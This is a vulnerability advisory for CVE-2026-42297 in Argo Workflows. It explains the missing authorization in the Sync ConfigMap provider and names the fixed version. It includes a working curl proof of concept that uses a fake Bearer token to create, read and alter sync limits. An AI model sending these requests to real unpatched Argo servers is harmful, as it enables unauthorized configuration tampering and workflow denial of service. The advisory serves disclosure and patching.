CVE-2026-42297: Argo has Missing Authorization in its Sync ConfigMap Provider
Summary The Sync Service's ConfigMap-backed provider (server/sync/synccm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Published May 4, 2026 · Updated May 13, 2026
Affected packages
github.com/argoproj/argo-workflows/v4
- Ecosystem
- Go
- Affected
- >= 4.0.0, < 4.0.5
- Fixed in
- 4.0.5
- Check
go list -m github.com/argoproj/argo-workflows/v4
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details
The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:
// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
// NO auth.CanI check
kubeClient := auth.GetKubeClient(ctx)
configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
// ... directly creates/updates ConfigMaps
}server/sync/sync_cm.go— lines 23-155- All four SyncService endpoints:
CreateSyncLimit,GetSyncLimit,UpdateSyncLimit,DeleteSyncLimit
PoC
Prerequisites
- Argo Server running with
--auth-mode=server - Port-forward:
kubectl port-forward -n argo svc/argo-server 2746:2746
Step 1: Create Sync Limit (Fake Token)
curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Verify ConfigMap was created in Kubernetes:
kubectl get configmap test-sync -n defaultNAME DATA AGE
test-sync 1 74sStep 2: Read Sync Limit (Fake Token)
curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
-H "Authorization: Bearer fake-token"Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Step 3: Update Sync Limit (Fake Token)
curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}
Verify the ConfigMap was actually modified:
kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'999Impact
An attacker with network access to the Argo Server can:
- Denial of Service — Set sync limits to
0or1, blocking all parallel workflow execution - Workflow Disruption — Modify existing sync limits to break running workflows
- Information Disclosure — Read ConfigMap data that may contain sensitive configuration
- Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account
Related CVEs
- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing
auth.CanIcheck) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
Credited to nebojsaj1726, Joibel, isubasinghe.
References
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q
- https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6
- https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5
- https://nvd.nist.gov/vuln/detail/CVE-2026-42297
- https://github.com/advisories/GHSA-xchc-cqwg-g76q
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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